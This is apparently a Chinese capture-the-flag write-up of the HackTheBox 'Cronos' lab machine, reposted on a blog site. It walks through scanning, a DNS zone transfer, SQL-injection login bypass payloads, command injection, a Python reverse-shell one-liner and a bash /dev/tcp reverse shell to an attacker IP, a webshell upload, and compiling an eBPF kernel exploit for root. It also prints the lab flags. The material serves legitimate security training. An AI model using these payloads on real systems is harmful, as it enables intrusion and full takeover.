赞
踩
OS:Linux
DIFFICULTY:Medium
使用naabu扫描目标1000个常用端口,并使用nmap对扫描出的端口进行指纹识别
naabu -host 10.10.10.13 -tp 1000 -nmap-cli 'nmap -sV'
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 3 ports on host 10.10.10.13 (10.10.10.13)
10.10.10.13:80
10.10.10.13:22
10.10.10.13:53
[INF] Running nmap command: nmap -sV -p 22,53,80 10.10.10.13
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-03 11:00 CST
Nmap scan report for 10.10.10.13
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.14 seconds
查询服务和版本中存在的相关漏洞,没有发现可以直接拿权限的漏洞
searchsploit xxx
绑定hosts,准备从web入手
echo '10.10.10.13 cronos.htb' >> /etc/hosts
访问web页面,页面上的五个链接均是外链
http://cronos.htb/
尝试访问GITHUB中的项目,得到以下信息:
Laravel 是一款具有表达性、优雅语法的 Web 应用程序框架
https://github.com/laravel/laravel
判断该web应用框架可能存在某些历史漏洞,在expdb中进行搜索果然发现了多个历史漏洞
https://www.exploit-db.com/
我们优先尝试反序列化或者RCE漏洞
1.尝试利用Laravel 8.4.2 debug mode - Remote code execution
漏洞,将exp脚本下载到本地
https://www.exploit-db.com/download/49424
执行后好像是卡住了,没有利用成功
python3 49424.py http://cronos.htb /var/www/html/laravel/storage/logs/laravel.log 'id'
2.尝试PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)
漏洞
由于expdb中提供的exp为msf格式的,所以我们暂时先不用这种利用方式
根据漏洞详情中提供的CVE编号,在github中进行搜索,发现多个漏洞利用的项目,我们可以使用以下脚本进行漏洞利用
https://github.com/pwnedshell/Larascript
下载到本地后,运行时发现好像需要指定APPKEY,然后去搜了下如何获取这个值,得知在Laravel中,APP_KEY通常位于应用程序的.env文件中,而这个获得这个文件内容需要搭配CVE-2017-16894 .env information leak
来获取
使用CVE-2017-16894
没有利用成功,这个反序列化漏洞暂时先放一放
3.再试下Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
,仍然也是不存在
4.继续试Laravel Log Viewer < 0.13.0 - Local File Download
- CVE-2018-8947
Proof of Concept:
import os
import base64
from urllib.request import urlopen
from urllib.error import URLError, HTTPError
import argparse
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)
args = parser.parse_args()
url = str(args.url).strip() + "/logs/?dl="
final_file = args.file
if not os.path.exists("./0Grats0"):
os.makedirs("./0Grats0")
word = str(args.file).split('/')
word1 = "./0Grats0/" + word[-1]
finalee = url + base64.b64encode(final_file.encode()).decode()
try:
with urlopen(finalee) as f:
with open(word1, "wb") as local_file:
local_file.write(f.read())
except HTTPError as e:
print("HTTP Error:", e.code, finalee)
except URLError as e:
print("URL Error:", e.reason, finalee)
运行exp脚本后仍然不存在漏洞
…
难道要爆破SSH账号密码吗?
后面我使用SSH Username Enumeration枚举了一下用户名,然后又用hydra爆破了一下密码,均无果
…
web和ssh都没有什么进展,那就还剩了个53
端口DNS
服务没有深入利用过
1.执行nslookup
nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
;; communications error to 10.10.10.13#53: timed out
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
server 10.10.10.13
- 这个命令将nslookup
的默认DNS服务器设置为10.10.10.13
。这意味着当您输入要查找的主机名或IP地址时,nslookup
将查询此DNS服务器以获取相应的解析结果。Default server: 10.10.10.13
- 这个消息表示默认的DNS服务器已被成功设置为10.10.10.13
。Address: 10.10.10.13#53
- 这个消息显示了nslookup
正在使用的DNS服务器的IP地址和端口号。在这个例子中,DNS服务器的IP地址是10.10.10.13
,端口号是53
。10.10.10.13
- 这个命令将IP地址设置为10.10.10.13
,并试图将其解析为主机名。但由于无法与DNS服务器进行通信,所以无法获取解析结果。13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
- 这个命令将反向解析为13.10.10.10.in-addr.arpa
的IP地址,找到了与其相关联的主机名,即ns1.cronos.htb
。2.尝试进行DNS域传送漏洞,以获取更多的子域名
dig axfr cronos.htb @10.10.10.13
发现确实存在DNS域传送漏洞,并且存在admin.cronos.htb
这个域名
接下来将新发现的域名也追加配置到hosts文件中
访问后发现是一个登录页面
http://admin.cronos.htb/
接下来尝试进行弱口令爆破,没有爆破成功
接下来尝试对登录接口进行SQL注入,发现存在SQL注入漏洞,而且登录处还可以直接用万能密码登录
admin'+and+'1'='1 # 回显登录页面
admin'+and+'1'='2 # 回显登录页面
admin'+and+'1'='1'+--+ # 页面跳转至 welcome.php
admin'+and+'1'='2'+--+ # 回显登录页面
admin'+or+'1'='1 # 页面跳转至 welcome.php
跟随页面跳转至/welcome.php
,直接就登录进系统了
看到这里,不禁让我想起来某某靶场的命令注入漏洞
直接使用burp尝试进行命令注入,注入成功
command=traceroute&host=8.8.8.8|whoami
接下来我们先把shell反弹回来
command=traceroute&host=8.8.8.8|python -h
目标机器有python环境,那我们就使用python来反弹shell
开启nc监听后执行以下命令反弹shell
nc -nvlp 65001
command=traceroute&host=8.8.8.8|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",65001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
接下来我们先拿到user的flag
find / -name "user.txt"
cat /home/noulis/user.txt
flag:
c8a447853d3cd705a246e1e90258a9d4
尝试执行sudo -l
发现需要输入密码
尝试进行suid提权,发现没有可以用的命令
find / -perm -u=s -type f
反弹的这个shell不太稳定,如果退出shell后,需要重启靶场才能再次反弹,所以这里我在网站根目录写入哥斯拉马方便后续使用
1.生成webshell
2.使用python开启http服务
python3 -m http.server 1111
3.在目标机器上下载webshell
curl http://10.10.14.18:1111/shell.php -O shell.php
4.使用哥斯拉客户端进行连接
5.在/tmp目录下创建revShell.sh
,内容如下,后续反弹shell如何掉线了,可以执行这个脚本再次反弹shell出去
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.18/65001 0>&1
接下来上传linux-exploit-suggester.sh到/tmp
目录,通过该脚本获得提权方法
使用哥斯拉执行该脚本好像出现了乱码,这里我们还是用反弹的shell来执行这个sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
Available information:
Kernel version: 4.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 16.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
81 kernel space exploits
49 user space exploits
Possible Exploits:
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2017-16995] eBPF_verifier
Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04 ]{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
1.使用dirtycow
脏牛提权CVE-2016-5195
由于靶机没有gcc编译环境,我们在本地编译完成后直接上传到靶机中
# 首先需要查询目标机器的glibc的版本,得知版本为2.23
ldd --version
# 运行使用同版本的glibc的ubuntu系统
docker run -it ubuntu:16.04 bash
# 安装编译所需的工具和库
apt-get update && apt-get install -y gcc g++ make git
# 编译
wget https://www.exploit-db.com/download/40616
gcc 40616.c -o cowroot -pthread
# 将docker中编译好的文件复制到本地
docker cp bdf4afecd08b:/tmp/cowroot cowroot
使用哥斯拉客户端的文件管理功能,将编译好的文件上传至靶机/tmp
目录
运行后发现提权失败
2.使用eBPF
(CVE-2017-16995)进行内核提权
# 同样的 也是在ubuntu的docker镜像中完成编译
wget https://www.exploit-db.com/download/45010 -O 45010.c
# 编译
gcc 45010.c -o eBPF
# 将docker中编译好的文件复制到本地
docker cp bdf4afecd08b:/tmp/eBPF eBPF
使用哥斯拉客户端的文件管理功能,将编译好的文件上传至靶机/tmp
目录
运行提权工具成功提权!!!
chmod +x eBPF
./eBPF
# 获取root的flag
cat /root/root.txt
flag:
02abba1d22957b51dd04deaead83aeb7
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。